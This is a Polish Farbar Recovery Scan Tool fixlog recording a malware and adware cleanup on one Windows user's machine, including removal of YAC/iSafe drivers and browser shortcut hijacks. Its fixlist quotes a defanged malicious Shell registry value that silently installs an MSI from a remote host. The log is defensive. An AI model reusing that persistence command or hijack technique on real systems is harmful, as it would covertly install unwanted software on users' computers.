Rezultat naprawy Farbar Recovery Scan Tool (x64) Wersja: 07-06-2017 01
Uruchomiony przez Lambert (10-06-2017 09:01:56) Run:3
Uruchomiony z C:\Users\Lambert\Downloads
Załadowane profile: Lambert (Dostępne profile: Lambert)
Tryb startu: Normal
==============================================

fixlist - zawartość:
*****************
HKU\S-1-5-21-489643024-731826354-959299013-1000\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.ltdmsjq.com/?data=zDlkMj1YMTNWMUUdRTLXMjZQRUFcNjNLMWVSFjHyMUVLRTFdFc== /q
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== UWAGA
ShortcutWithArgument: C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer (64-bit).lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.yeadesktop.com/
ShortcutWithArgument: C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.yeadesktop.com/
ShortcutWithArgument: C:\Users\Lambert\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet-Explorer Browser.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.yeadesktop.com/
DeleteKey: HKLM\SOFTWARE\Wow6432Node\Mozilla\Thunderbird
RemoveDirectory: C:\AdwCleaner
RemoveDirectory: C:\FRST\Quarantine
RemoveDirectory: C:\Users\Lambert\Downloads\FRST-OlderVersion
StartBatch:
del /q C:\Users\Lambert\Desktop\adwcleaner*.*
del /q C:\Users\Lambert\Downloads\adwcleaner*.*
del /q C:\Users\Lambert\Downloads\qd1y4yyr.exe
del /q C:\Users\Lambert\Downloads\SPTDinst-v189-x64.exe
del /q C:\Windows\system32\Drivers\iSafeKrnlBoot.sys
del /q C:\Windows\system32\Drivers\iSafeNetFilter.sys
EndBatch:
*****************

HKU\S-1-5-21-489643024-731826354-959299013-1000\Software\Microsoft\Windows\CurrentVersion\Policies\system\\Shell => Wartość nie znaleziono.
iSafeKrnlMon => serwis nie znaleziono.
C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer (64-bit).lnk => Skrót - argument pomyślnie usunięto.
C:\Users\Lambert\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk => Skrót - argument pomyślnie usunięto.
C:\Users\Lambert\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet-Explorer Browser.lnk => Skrót - argument pomyślnie usunięto.
HKLM\SOFTWARE\Wow6432Node\Mozilla\Thunderbird => klucz nie znaleziono. 
"C:\AdwCleaner" => nie znaleziono.
"C:\FRST\Quarantine" => pomyślnie usunięto.
"C:\Users\Lambert\Downloads\FRST-OlderVersion" => nie znaleziono.

========= Batch: =========
Nie moľna odnale«† C:\Users\Lambert\Desktop\adwcleaner*.*.
Nie moľna odnale«† C:\Users\Lambert\Downloads\adwcleaner*.*.
Nie moľna odnale«† C:\Users\Lambert\Downloads\qd1y4yyr.exe.
Nie moľna odnale«† C:\Users\Lambert\Downloads\SPTDinst-v189-x64.exe.
Nie moľna odnale«† C:\Windows\system32\Drivers\iSafeKrnlBoot.sys.
Nie moľna odnale«† C:\Windows\system32\Drivers\iSafeNetFilter.sys.

========= Koniec  Batch: =========


==== Koniec  Fixlog 09:01:56 ====